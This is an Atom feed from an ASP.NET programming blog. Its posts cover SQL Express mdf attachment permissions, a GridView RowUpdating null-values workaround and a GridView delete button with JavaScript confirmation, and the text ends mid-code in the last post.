<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://aspadvice.com/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><title type="html">Programming Shorts</title><subtitle type="html">Code workarounds, insights and expertise -- Caveat emptor!</subtitle><id>http://aspadvice.com/blogs/programming_shorts/atom.aspx</id><link rel="alternate" type="text/html" href="http://aspadvice.com/blogs/programming_shorts/default.aspx" /><link rel="self" type="application/atom+xml" href="http://aspadvice.com/blogs/programming_shorts/atom.aspx" /><generator uri="http://communityserver.org" version="2.1.60809.935">Community Server</generator><updated>2008-06-27T08:52:00Z</updated><entry><title>Attaching an mdf file to the app_data folder</title><link rel="alternate" type="text/html" href="http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx" /><id>http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx</id><published>2010-01-17T14:15:00Z</published><updated>2010-01-17T14:15:00Z</updated><content type="html">&lt;p&gt;If you wish to attach an mdf file in your application&amp;#39;s app_data folder at run-time using SQLExpress, you may encounter a permission problem:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;System.Data.SqlClient.SqlException: Directory lookup for the file
&amp;quot;C:\Documents and Settings\*\My
Documents\WebSites\*\App_Data\*.mdf&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The trick is to give the mssqlexpress user on your machine read and write permission on the app data folder.&amp;nbsp; To find the sqlexpress username, issue this command at the command prompt:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;nbsp;C:\Program Files\Microsoft SQL Server\MSSQL10.SQLEXPRESS\MSSQL&amp;gt;cacls data&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;You should see something like this:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;SQLServerMSSQLUser$&amp;lt;machine&amp;gt;$SQLEXPRESS:(OI)(CI)F&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Copy the entire username: SQLServerMSSQLUser$&amp;lt;machine&amp;gt;$SQLEXPRESS&lt;/p&gt;&lt;p&gt;Next,&amp;nbsp; browse to the app_data folder for your web site.&amp;nbsp; Right click on the folder and add the above user with read,write,execute permissions.&lt;/p&gt;&lt;p&gt;Another tip: If you&amp;#39;re moving the mdf file form one machine to another, don&amp;#39;t include the *.ldf file with it. &lt;/p&gt;&lt;p&gt;Finally, here&amp;#39;s my connection string:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;add name=&amp;quot;default&amp;quot; connectionString=&amp;quot;data source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\&amp;lt;database&amp;gt;.mdf;Integrated Security=True;Initial Catalog=&amp;lt;database&amp;gt;;&amp;quot; providerName=&amp;quot;System.Data.SqlClient&amp;quot;/&amp;gt;&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Good luck!&amp;nbsp; --Brett&lt;br /&gt;&lt;/p&gt;
&lt;div class = "shareblock"&gt;&lt;strong&gt;Share this post:&lt;/strong&gt; &lt;a href = "mailto:?body=Thought you might like this: http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;;subject=Attaching+an+mdf+file+to+the+app_data+folder" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;;title=Attaching+an+mdf+file+to+the+app_data+folder" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;;phase=2" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;title=Attaching+an+mdf+file+to+the+app_data+folder" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;;title=Attaching+an+mdf+file+to+the+app_data+folder" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;;mkt=en-us&amp;amp;;url=http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx&amp;amp;;title=Attaching+an+mdf+file+to+the+app_data+folder&amp;amp;;top=1" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2010/01/17/Attaching-an-mdf-file-to-the-app_5F00_data-folder.aspx"&gt;live it!&lt;/a&gt;&lt;/div&gt;&lt;img src="http://aspadvice.com/aggbug.aspx?PostID=58513" width="1" height="1"&gt;</content><author><name>brettemiller</name><uri>http://aspadvice.com/members/brettemiller.aspx</uri></author></entry><entry><title>In GridView RowUpdating Event Handler, e.NewValues and e.OldValues are null</title><link rel="alternate" type="text/html" href="http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx" /><id>http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx</id><published>2008-10-26T21:25:00Z</published><updated>2008-10-26T21:25:00Z</updated><content type="html">I use custom data objects to populate data controls.&amp;nbsp; Typically, I&amp;#39;ll create a factory object and factory method that returns a List&amp;lt;&amp;gt; collection of &amp;quot;ConcreteProducts&amp;quot;.&amp;nbsp; For example,

&lt;blockquote&gt;&lt;code&gt;RegistrationRuleFactory f =&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new RegistrationRuleFactory(connectionString);&lt;/code&gt;&lt;/blockquote&gt;

&lt;blockquote&gt;&lt;code&gt;List&amp;lt;RegistrationRule&amp;gt; rules = f.GetRules(subid); &lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;Oftentimes, these DAL classes don&amp;#39;t mesh perfectly with the requirements of a ObjectDataSource / GridView pairing.&amp;nbsp; The best way to handle this situation is to create a Business Layer class to encapsulate the DAL and bind this BL class to the ObjectDataSource of interest.&amp;nbsp; &lt;/p&gt;&lt;p&gt;&amp;nbsp;That being said, there are times when I&amp;#39;ve bound the data to the gridview at runtime from the DAL class.&amp;nbsp; This reduces the amount of code one has to write, and seems to reduce the complexity of the code.&amp;nbsp; On the downside, you have to learn how and when to bind the data to controls, and you run into snags like this:&lt;/p&gt;

&lt;p&gt;&lt;b&gt;In the RowUpdating event handler,&amp;nbsp; e.NewValues and e.OldValues are null!!&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;I couldn&amp;#39;t find any MSDN literature regarding the problem, but the following forum suggest that the problem results form not using ObjectDataSource:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://forums.asp.net/p/956604/1178168.aspx#1178168" title="GridView: Problem with RowUpdating Event..."&gt;http://forums.asp.net/p/956604/1178168.aspx#1178168&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bummer.&amp;nbsp; Well, there&amp;#39;s a reasonable way to get around this.&amp;nbsp; If you avoid using &amp;lt;asp:BoundField&amp;gt; controls and instead using &amp;lt;asp:TemplateField&amp;gt; controls, then you can easily grab the updated row&amp;#39;s values from the RowUpdating handler.&amp;nbsp; The web form looks like this:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;code&gt;&amp;lt;asp:GridView ID=&amp;quot;RulesGridView&amp;quot; runat=&amp;quot;server&amp;quot;&amp;nbsp; AutoGenerateColumns=&amp;quot;false&amp;quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DataKeyNames=&amp;quot;RuleID&amp;quot; &amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;Columns&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;asp:TemplateField HeaderText=&amp;quot;IP Mask&amp;quot; ItemStyle-Wrap=false&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;ItemTemplate&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;asp:Label ID=IPLabel runat=server Text=&amp;#39;&amp;lt;%# Eval(&amp;quot;IP&amp;quot;) %&amp;gt;&amp;#39;/&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/ItemTemplate&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;EditItemTemplate&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;asp:TextBox ID=IPTextBox runat=server Text=&amp;#39;&amp;lt;%# Eval(&amp;quot;IP&amp;quot;) %&amp;gt;&amp;#39; Width=150 /&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/EditItemTemplate&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/asp:TemplateField&amp;gt;
  &lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;&amp;nbsp;In the code behind, handle the gridview&amp;#39;s rowupdating event and access the form data as such:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;code&gt;
/// &amp;lt;summary&amp;gt;&lt;br /&gt;
/// Handle the row update event&lt;br /&gt;
/// &amp;lt;/summary&amp;gt;&lt;br /&gt;
void RulesGridView_RowUpdating(object sender, GridViewUpdateEventArgs e)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;GridView rulesGridView = sender as GridView;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;Guid ruleID =  &lt;br /&gt;
 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;new Guid(rulesGridView.DataKeys[e.RowIndex].Value.ToString());&lt;br /&gt;
&amp;nbsp;&amp;nbsp;GridViewRow row = rulesGridView.Rows[e.RowIndex];&amp;nbsp;&amp;nbsp;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;// Get the controls&lt;br /&gt;
&amp;nbsp;&amp;nbsp;TextBox ipTB = row.FindControl(&amp;quot;IPTextBox&amp;quot;) as TextBox;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;// Data exchange&lt;br /&gt;
&amp;nbsp;&amp;nbsp;AuthenticationRule rule = new AuthenticationRule();
&amp;nbsp;&amp;nbsp;rule.SubscriptionID = subid;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;rule.RuleID = ruleID;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;rule.IP = ipTB.Text;
&lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;It is certainly preferable to use the ObjectDataSource control, but sometimes the expediency wins out...&lt;br /&gt;
&lt;/p&gt;
&lt;div class = "shareblock"&gt;&lt;strong&gt;Share this post:&lt;/strong&gt; &lt;a href = "mailto:?body=Thought you might like this: http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;;subject=In+GridView+RowUpdating+Event+Handler%2c+e.NewValues+and+e.OldValues+are+null" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;;title=In+GridView+RowUpdating+Event+Handler%2c+e.NewValues+and+e.OldValues+are+null" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;;phase=2" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;title=In+GridView+RowUpdating+Event+Handler%2c+e.NewValues+and+e.OldValues+are+null" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;;title=In+GridView+RowUpdating+Event+Handler%2c+e.NewValues+and+e.OldValues+are+null" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;;mkt=en-us&amp;amp;;url=http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx&amp;amp;;title=In+GridView+RowUpdating+Event+Handler%2c+e.NewValues+and+e.OldValues+are+null&amp;amp;;top=1" target="_blank" title = "Post http://aspadvice.com/blogs/programming_shorts/archive/2008/10/26/In-GridView-RowUpdating_2C00_-e.NewValues-and-e.OldValues-are-null.aspx"&gt;live it!&lt;/a&gt;&lt;/div&gt;&lt;img src="http://aspadvice.com/aggbug.aspx?PostID=47615" width="1" height="1"&gt;</content><author><name>brettemiller</name><uri>http://aspadvice.com/members/brettemiller.aspx</uri></author><category term="e.NewValues" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/e.NewValues/default.aspx" /><category term="GridView" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/GridView/default.aspx" /><category term="RowUpdating" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/RowUpdating/default.aspx" /><category term="ObjectDataSource" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/ObjectDataSource/default.aspx" /><category term="e.OldValues" scheme="http://aspadvice.com/blogs/programming_shorts/archive/tags/e.OldValues/default.aspx" /></entry><entry><title>GridView Delete With Confirmation</title><link rel="alternate" type="text/html" href="http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx" /><id>http://aspadvice.com/blogs/programming_shorts/archive/2008/10/23/Delete-With-Confirmation.aspx</id><published>2008-10-23T13:24:00Z</published><updated>2008-10-23T13:24:00Z</updated><content type="html">
&lt;p&gt;Recently I undertook the creation of a GridView control for which I wanted Edit, Delete, Update and Cancel buttons.&amp;nbsp; There are a couple of out-of-the-box ASP.Net solutions for this problem.&amp;nbsp; The first is to simply use the &amp;quot;AutoGenerate&amp;quot; attributes of the GridView control.&amp;nbsp; For example,&lt;/p&gt;

&lt;blockquote&gt;
&lt;code&gt;&amp;lt;asp:GridView ID=&amp;quot;RulesGridView&amp;quot; runat=&amp;quot;server&amp;quot;&amp;nbsp; AutoGenerateColumns=&amp;quot;false&amp;quot; AutoGenerateDeleteButton=true AutoGenerateEditButton=true HeaderStyle-CssClass=&amp;quot;b24-report-title&amp;quot; DataKeyNames=&amp;quot;RuleID&amp;quot; EditRowStyle-CssClass=&amp;quot;b24-editrow&amp;quot; CellPadding=4 &amp;gt;
&lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;&amp;nbsp;The problem with this solution is twofold:
&lt;/p&gt;

&lt;ol&gt;
  
&lt;li&gt;You get links instead of buttons, which feels a little awkward&lt;/li&gt;
  
&lt;li&gt;You can&amp;#39;t specify a javascript confirmation dialog before the delete is executed&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Okay, so there&amp;#39;s another option.&amp;nbsp; You can remove the &amp;quot;AutoGenerate&amp;quot; attributes and instead specify a &amp;quot;CommandField&amp;quot; column as follows:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;code&gt;&amp;lt;asp:GridView ID=&amp;quot;RulesGridView&amp;quot; runat=&amp;quot;server&amp;quot; HeaderStyle-CssClass=&amp;quot;b24-report-title&amp;quot;
DataKeyNames=&amp;quot;RuleID&amp;quot; EditRowStyle-CssClass=&amp;quot;b24-editrow&amp;quot; CellPadding=4&amp;gt;
  &lt;/code&gt;

&lt;blockquote&gt;
    &lt;code&gt;
      &amp;lt;columns&amp;gt;
    &lt;/code&gt;
&lt;/blockquote&gt;
  
&lt;blockquote&gt;
    &lt;code&gt;
&amp;lt;asp:CommandField ButtonType=Button ShowEditButton=true ShowDeleteButton=true ShowCancelButton=true EditImageUrl=&amp;quot;~/images/GVEditButton.gif&amp;quot; DeleteImageUrl=&amp;quot;~/images/GVDeleteButton.gif&amp;quot; CancelImageUrl=&amp;quot;~/images/GVCancelButton.gif&amp;quot;&amp;nbsp; UpdateImageUrl=&amp;quot;~/images/GVUpdateButton.gif&amp;quot; /&amp;gt; &lt;br /&gt;
    &lt;/code&gt;
  &lt;/blockquote&gt;

&lt;/blockquote&gt;

&lt;p&gt;This solution solves problem number 1.&amp;nbsp; We now have buttons.&amp;nbsp; However, you still cannot put a javascript confirmation on the delete button.&amp;nbsp; So that leads us to a custom template field and some code-behind.&amp;nbsp; There are a couple of good references on the web for such a solution:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.codeproject.com/KB/webforms/GridViewConfirmDelete.aspx" title="GridView Delete, with Confirmation" target="_blank"&gt;http://www.codeproject.com/KB/webforms/GridViewConfirmDelete.aspx &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms972940.aspx" title="Deleting a GridView&amp;#39;s Underlying Data"&gt;http://msdn.microsoft.com/en-us/library/ms972940.aspx &lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;

&lt;p&gt;&amp;nbsp;The problem with these examples is that the Edit, Delete, Update and Cancel buttons are not all coordinated as they are in the auto-geneated solutions.&amp;nbsp; These examples provide a delete button in isolation -- not so useful.&amp;nbsp; If you want the default Edit, Delete, Update, Cancel toggling *behavior* with a javascript confirmation on the delete operation, then you have to&amp;nbsp; take the examples a bit further.&amp;nbsp; This is what I&amp;#39;ve done below.&amp;nbsp; You get the default behavior with the customized buttons and javascript delete confirmation.&amp;nbsp; The web form with the template looks like the following:&lt;/p&gt;

&lt;blockquote&gt;&lt;code&gt;&amp;lt;asp:GridView ID=&amp;quot;RulesGridView&amp;quot; runat=&amp;quot;server&amp;quot;&amp;nbsp; AutoGenerateColumns=&amp;quot;false&amp;quot; HeaderStyle-CssClass=&amp;quot;b24-report-title&amp;quot; DataKeyNames=&amp;quot;RuleID&amp;quot; EditRowStyle-CssClass=&amp;quot;b24-editrow&amp;quot; CellPadding=4 &amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;Columns&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;lt;asp:TemplateField&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;ItemTemplate&amp;gt;&lt;br /&gt;
&amp;lt;asp:ImageButton ID=&amp;quot;EditButton&amp;quot; CommandArgument=&amp;#39;&amp;lt;%# Eval(&amp;quot;RuleID&amp;quot;) %&amp;gt;&amp;#39; CommandName=&amp;quot;Edit&amp;quot; runat=&amp;quot;server&amp;quot; ImageUrl=&amp;quot;~/images/GVEditButton.gif&amp;quot; AlternateText=Edit Visible=false /&amp;gt;&lt;/code&gt;&lt;/blockquote&gt;

&lt;blockquote&gt;&lt;code&gt;&amp;lt;asp:ImageButton ID=&amp;quot;DeleteButton&amp;quot; CommandArgument=&amp;#39;&amp;lt;%# Eval(&amp;quot;RuleID&amp;quot;) %&amp;gt;&amp;#39; CommandName=&amp;quot;Delete&amp;quot; runat=&amp;quot;server&amp;quot; ImageUrl=&amp;quot;~/images/GVDeleteButton.gif&amp;quot; AlternateText=Delete Visible=false&amp;nbsp; OnClientClick=&amp;quot;BLOCKED SCRIPTreturn confirm(&amp;#39;Delete this record?&amp;nbsp; Are you sure?&amp;#39;);&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;/blockquote&gt;

&lt;blockquote&gt;&lt;code&gt;&amp;lt;asp:ImageButton ID=&amp;quot;UpdateButton&amp;quot; CommandArgument=&amp;#39;&amp;lt;%# Eval(&amp;quot;RuleID&amp;quot;) %&amp;gt;&amp;#39; CommandName=&amp;quot;Update&amp;quot;&amp;nbsp; runat=&amp;quot;server&amp;quot; ImageUrl=&amp;quot;~/images/GVUpdateButton.gif&amp;quot; AlternateText=Update Visible=false /&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;/blockquote&gt;

&lt;blockquote&gt;&lt;code&gt;&amp;lt;asp:ImageButton ID=&amp;quot;CancelButton&amp;quot; CommandArgument=&amp;#39;&amp;lt;%# Eval(&amp;quot;RuleID&amp;quot;) %&amp;gt;&amp;#39; CommandName=&amp;quot;Cancel&amp;quot; runat=&amp;quot;server&amp;quot; ImageUrl=&amp;quot;~/images/GVCancelButton.gif&amp;quot; AlternateText=Cancel Visible=false /&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;/blockquote&gt;

&lt;blockquote&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/ItemTemplate&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;lt;/asp:TemplateField&amp;gt;&lt;br /&gt;
&amp;lt;/columns&amp;gt;
&lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;Notice that all the buttons have visible=false by default.&amp;nbsp; So now you need a little bit of jiggering on the code-behind.&amp;nbsp; Add a handler for the RowCreated event:&lt;/p&gt;

&lt;blockquote&gt;
&lt;code&gt;
RulesGridView.RowCreated += new GridViewRowEventHandler(RulesGridView_RowCreated);
&lt;/code&gt;
&lt;/blockquote&gt;

&lt;p&gt;And in the handler, toggle the buttons:&lt;/p&gt;

&lt;blockquote&gt;
&lt;code&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;summary&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /// Updates to individual rows as they&amp;#39;re created&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; void RulesGridView_RowCreated(object sender, GridViewRowEventArgs e)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GridView rulesGridView = sender as GridView;&amp;nbsp; // The rules gridview itself&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GridViewRow row = e.Row;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // The row being created&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int editIndex = rulesGridView.EditIndex;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Row currently being edited&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (row.RowType == DataControlRowType.DataRow)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Show the relevant buttons depending upon whether the row is edit&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImageButton updateBT = row.FindControl(&amp;quot;UpdateButton&amp;quot;) as ImageButton;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImageButton cancelBT = row.FindControl(&amp;quot;CancelButton&amp;quot;) as ImageButton;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImageButton editBT = row.FindControl(&amp;quot;EditButton&amp;quot;) as ImageButton;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ImageButton deleteBT = row.FindControl(&amp;quot;DeleteButton&amp;quot;) as ImageButton;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (editIndex == row.DataItemIndex)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; updateBT.Visible = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cancelBT.Visible = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; editBT.Visible = false;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; deleteBT.Visible = false;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; updateBT.Visible = false;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cancelBT.Visible = false;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; editBT.Visible = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; deleteBT.Visible = true;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
